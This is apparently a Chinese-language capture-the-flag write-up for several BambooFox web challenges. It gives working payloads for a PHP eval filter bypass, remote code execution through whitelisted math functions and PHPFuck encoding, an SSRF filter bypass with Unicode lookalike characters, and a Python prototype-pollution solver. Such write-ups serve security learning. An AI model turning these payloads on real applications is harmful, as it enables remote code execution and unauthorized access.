ヽ(#`Д´)ノ
<?=highlight_file(__FILE__)&&strlen($?=$_GET['ヽ(#`Д´)ノ'])<0x0A&&!preg_match('/[a-z0-9`]/i',$?)&&eval(print_r($?,1));
首先ヽ(#`Д´)ノ
傳入一個陣列,可以直接繞過strlen
和preg_match
,然後fuzz發現用);?>
可以正常解析,第一個)
先閉合前面的Array([0] ⇒
:
<?php
$a = array('phpinfo());?>');
eval(print_r($a, 1));
http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD(%23`%D0%94%C2%B4)%EF%BE%89[]=system(%27cat%20/flag_de42537a7dd854f4ce27234a103d4362%27));?%3E
賽後看別人用Array([0] => phpinfo());/*)
就可以了,PHP的容錯性真的很大XD
Calc.exe Online
<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));
function is_safe($query)
{
$query = strtolower($query);
preg_match_all("/([a-z_]+)/", $query, $words);
$words = $words[0];
$good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
$accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
$accept_chars = str_split($accept_chars);
$bad = '';
for ($i = 0; $i < count($words); $i++) {
if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
$bad .= $words[$i] . " ";
}
}
for ($i = 0; $i < strlen($query); $i++) {
if (array_search($query[$i], $accept_chars) === false) {
$bad .= $query[$i] . " ";
}
}
return $bad;
}
function safe_eval($code)
{
if (strlen($code) > 1024) return "Expression too long.";
$code = strtolower($code);
$bad = is_safe($code);
$res = '';
if (strlen(str_replace(' ', '', $bad)))
$res = "I don't like this: " . $bad;
else
eval('$res=' . $code . ";");
return $res;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/css/bulma.min.css">
<script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
<title>Calc.exe online</title>
</head>
<style>
</style>
<body>
<section class="hero">
<div class="container">
<div class="hero-body">
<h1 class="title">Calc.exe Online</h1>
</div>
</div>
</section>
<div class="container" style="margin-top: 3em; margin-bottom: 3em;">
<div class="columns is-centered">
<div class="column is-8-tablet is-8-desktop is-5-widescreen">
<form>
<div class="field">
<div class="control">
<input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
</div>
</div>
</form>
</div>
</div>
<div class="columns is-centered">
<?php if (isset($_GET['expression'])) : ?>
<div class="card column is-8-tablet is-8-desktop is-5-widescreen">
<div class="card-content">
= <?= @safe_eval($_GET['expression']) ?>
</div>
</div>
<?php endif ?>
<a href="/?source"></a>
</div>
</div>
</body>
</html>
直接用PHPFuck就好了,長度也剛好,先獲取system
的,然後獲取命令的,flag檔名太長直接用cat /*
,最後({system})({command})
長度也低於1024,送分題~
// system('cat /*')
http://chall.ctf.bamboofox.tw:13377/?expression=%28%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D%5E%5B%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%29%28%28%28%5B%5D%5E%5B%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29.%28%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29.%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29.%5B%5D%5B%5B%5D%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D.%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%29
另解(用math函數RCE):
<?php
// 先透過base_convert把36進位的字母轉成10進位的數字
echo base_convert('system',36,10); //1751504350
echo base_convert('cat',36,10); // 15941
base_convert(1751504350, 10, 36)(base_convert(15941, 10, 36)); // system('cat')
// 因為flag在/* 然後36進位沒有" "也沒有"*",所以要用xor的方式獲取:
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
foreach ($whitelist as $i) {
foreach ($whitelist as $k) {
echo $k ^ $i ^ " /*";
echo " " . $i . " " . $k . "\n";
}
}
// 找 $k ^ $i ^ "/*"出來是數字的,但因為是字串,"和'也不能用,所以要用dechex(10進位轉16進位)
// 像這裡可以用 "164" ^ tanh ^ exp = " /*"
echo hexdec(164); // 16進位轉10進位, output: 356
echo dechex(356) ^ tan ^ exp; // 這樣就有 " /*" 了
// system('cat /*')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(356)^tan^exp))
另解(感覺是最簡單的了):
// system()
(asin[1].hypot[1].asin[1].atan[1].ceil[1].fmod[1])()
// 因為這樣不會有/ *那些,所以用end(getallheaders()) **getallheaders是Apache專屬的,Nginx沒有**
(asin[1].hypot[1].asin[1].atan[1].ceil[1].fmod[1])((exp[0].min[2].fmod[3])((log[2].exp[0].tan[0].abs[0].log[0].log[0].cosh[3].exp[0].abs[0].fmod[3].exp[0].ncr[2].abs[2])()))
// RCE:
> curl -g "http://chall.ctf.bamboofox.tw:13377/?expression=(asin[1].hypot[1].asin[1].atan[1].ceil[1].fmod[1])((exp[0].min[2].fmod[3])((log[2].exp[0].tan[0].abs[0].log[0].log[0].cosh[3].exp[0].abs[0].fmod[3].exp[0].ncr[2].abs[2])()))" -H "zzz: ls -la /"
SSRFrog
const express = require("express");
const http = require("http");
const app = express();
app.get("/source", (req, res) => {
return res.sendFile(__filename);
})
app.get('/', (req, res) => {
const { url } = req.query;
if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");
// no duplicate characters in `url`
if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");
try {
http.get(url, resp => {
resp.setEncoding("utf-8");
resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
}).on('error', () => res.send("WTF?"));
} catch (error) {
res.send("WTF?");
}
});
app.listen(3000, '0.0.0.0');
用Unicode
+大小寫
來讓每個字都不一樣,http
庫在請求的時候會轉回正常文字,可參考: https://www.compart.com/en/unicode/
http://chall.ctf.bamboofox.tw:9453/?url=htTp%3A%5C%2F%E1%B5%97%CA%B0e%EF%BC%8Ec%E2%81%B0o%E2%82%80O0L-fl4%E2%81%B4%E2%82%84g.sErv%E1%B5%89R%E3%80%82in%E2%82%9C%E2%82%91%E1%B5%A3Na%CB%A1
然後賽後才知道有這個:
https://github.com/splitline/domain-obfuscator
https://splitline.github.io/domain-obfuscator/
Time to Draw
const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");
const app = express();
app.use(cookieParser(secret.FLAG));
let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
app.get('/', (req, res) => {
if (!req.signedCookies.user)
res.cookie('user', { admin: false }, { signed: true });
res.sendFile(__dirname + "/index.html");
});
app.get('/source', (_, res) => {
res.sendFile(__filename);
});
app.get('/api/canvas', (_, res) => {
res.json(canvas);
});
app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});
app.get('/promote', (req, res) => {
if (req.query.yo_i_want_to_be === 'admin')
res.cookie('user', { admin: true }, { signed: true });
res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});
app.get('/flag', (req, res) => {
let userData = { isGuest: true };
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
res.send(secret.FLAG);
else
res.send("NO");
});
app.listen(3000, "0.0.0.0");
這個要先對javascript的原型鏈有點了解,參考這篇: https://blog.techbridge.cc/2017/04/22/javascript-prototype/
__proto__
是找上一層的prototype
,canvas
是一個Object
,所以canvas.__proto__
就會等於Object.prototype
,userData
也是一個Object
,只要不是admin,userData.token
就不會被賦值,而在當前變數找不到token,所以會往上一層也就是Object.prototype
去找
// 在這裡用canvas["__proto__"]["token"] = sha256_token
app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});
// 這個請求不能讓userData.token被賦值,所以不能去請求/promote
app.get('/flag', (req, res) => {
let userData = { isGuest: true };
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}
// token是16位[0-9a-f]字串,並且sha256(ip + token) = userData.token,因為會找不到userData.token,所以會去Object.prototype.token去找
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
res.send(secret.FLAG);
else
res.send("NO");
});
解法:
import requests
import hashlib
def get_ip():
return requests.get(url='https://ifconfig.me/ip').text
def generate_token(remote_addr):
return hashlib.sha256(f'{remote_addr}0000000000000000'.encode()).hexdigest()
def draw_token(obj_token):
requests.get(url=f'http://chall.ctf.bamboofox.tw:8787/api/draw?x=__proto__&y=token&color={obj_token}')
def get_flag():
return requests.get(url='http://chall.ctf.bamboofox.tw:8787/flag?token=0000000000000000').text
if __name__ == '__main__':
ip = get_ip()
token = generate_token(ip)
draw_token(token)
print(get_flag())